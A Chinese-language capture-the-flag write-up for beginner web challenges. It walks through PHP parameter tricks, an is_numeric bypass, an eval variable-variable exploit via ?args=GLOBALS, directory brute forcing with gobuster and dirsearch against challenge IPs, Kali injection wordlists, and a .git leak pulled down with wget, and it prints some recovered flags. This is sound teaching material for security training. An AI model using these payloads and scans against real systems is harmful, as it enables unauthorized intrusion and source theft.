本题需要学会浏览器控制台看网络请求
根据题目猜跟http header有关…果然一看就是flag
下面几道题需要了解基础的php语法
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
基础题,考http get方法(小白需要学习下http基础),默认是get所以直接url里面加就行
payload: ?what=flag
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
基础题,post方法
可以用浏览器插件、curl
解法1:curl
curl 114.67.246.176:16847 -d what=flag
解法2:hackerbar插件
解法3:burpsuite发包
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
利用is_numeric漏洞绕过,原理见左边文章
payload: ?1x
,(1后面随便写点字符串就行)
源码里有
<!-- flag{e43b05f4482228d825ff37064b166d17} -->
XX是unicode编码
Unicode编码转换,解析一下就可以
打开一直刷新,看了一下源码
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<meta name="author" content="">
<title>Dummy game</title>
</head>
<script language="JavaScript">
function myrefresh(){
window.location.reload();
}
setTimeout('myrefresh()',500);
</script>
<body>
<center><strong>I want to play Dummy game with others£¡But I can't stop!</strong></center>
<center>Stop at panda ! u will get flag</center>
<center><div><img src="1.jpg" /></div></center><br><a style="display:none">flag is here~</a></body>
</html>
第一次看没有思路…?刷了两次发现图片从1.jpg在变
于是打开控制台看源码的同时让他刷新,发现中间闪过一次flag
在js那里下个断点(可以屏蔽自动刷新)然后F5刷新就可以闪出flag
或者burpsuite发包…
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
正则在线测试:https://c.runoob.com/front-end/854/
正则语法文档:https://www.runoob.com/regexp/regexp-syntax.html
题解:preg_match
是正则匹配,\w
是包括字母数字下划线,^
是匹配开头,$
是匹配结尾
俩个$$
符号类似二级指针,解析$$args
内的内容当成命令执行
include了flag1.php的文件,flag是里面的变量,因此推测用php内置魔术方法列出里面的变量,查资料得GLOBAL
因此payload:?args=GLOBALS
Hello,world!
This is my friend :
<html>
<head>
<body>
<p>Hello,world!<p>
<p>This is my friend :<!--tig--></p>
<!--flag{Zmxhz19ub3RfaGvyzSEHIQ==}-->
</body>
</head>
</html>
右键源码看到一个假flag,这个题显然不会这么简单。想到base64
base64解密网站:https://www.qqxiuzi.cn/bianma/base64.htm
解不开,好像没有思路了
于是先扫一下目录目录扫描
:可以让我们发现这个网站存在多少个目录,多少个页面,搜索出网站到的整体结构。通过目录扫描我们还能扫敏感文件、后台文件、数据库文件、信息泄露文件等等。
gobuster dir -u http://114.67.246.176:10491/ -w /usr/share/wordlists/dirb/common.txt
ps: gobuster是go写的web目录暴破工具,kali自带,字典不是工具自带的,是kali系统自带的
或者dirsearch(自带字典)
python3 dirsearch.py -u http://114.67.246.176:19980/
上面gobuster用了/usr/share/wordlists/dirb/common.txt
实际上/usr/share/wordlists/
是kali自带的字典路径
└─$ ls
dirb dirbuster fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt.gz wfuzz
路径:/usr/share/wordlists/
dirb
big.txt #大的字典
small.txt #小的字典
catala.txt #项目配置字典
common.txt #公共字典
euskera.txt #数据目录字典
extensions_common.txt #常用文件扩展名字典
indexes.txt #首页字典
mutations_common.txt #备份扩展名
spanish.txt #方法名或库目录
others #扩展目录,默认用户名等
stress #压力测试
vulns #漏洞测试
dirbuster
apache-user-enum-** #apache用户枚举
directories.jbrofuzz #目录枚举
directory-list-1.0.txt #目录列表大,中,小 big,medium,small
fern-wifi
common.txt #公共wifi账户密码
metasploit
… #各种类型的字典
webslayer
general #普通字典目录
admin-panels.txt #后台路径 字典
….
Injections #注入字典目录
All_attack.txt #全部攻击
bad_chars.txt #字符注入
SQL.txt #sql注入
Traversal.txt #路径回溯
XML.txt #xml注入
XSS.txt #xxs注入
others #扩展目录
common_pass.txt #通用密码字典
names.txt #用户名字典
stress #压力测试目录
vulns #漏洞测试目录
apache、iis、cgis…
webservicces #web服务目录
ws-dirs.txt #路径测试
ws-files.txt #文件测试
wfuzz #模糊测试,各种字典…
发现是.git文件泄露
问题
将.git文件夹直接部署到线上环境引起了git泄露漏洞。攻击者可以利用该漏洞下载git文件夹里的所有内容。如果文件夹内有敏感信息比如站点源码、数据库账户密码等,攻击者可能直接控制服务器。
相关指令:
git log 显示到HEAD所指向的commit为止的所有commit记录 。
git reset HEAD
git reset --hard HEAD放弃工作区和index的改动,HEAD指针仍然指向当前的commit.
git reflog
下载:wget -r http://114.67.246.176:19980/.git
这里有个坑,git log如果是回退到之前的分支,这里是不会显示后面的修改的。只会显示对应当前版本之前的log。要显示全局的需要用git reflog
发现他后面还有几个commit,通过git reset --hard挨个看,其中一个有flag。
pip3 install GitHacker
pip3安装的命令在~/.local/bin下面,需要把~/.local/bin
加到~/.zshrc
里
免责声明:本文系网络转载或改编,未找到原创作者,版权归原作者所有。如涉及版权,请联系删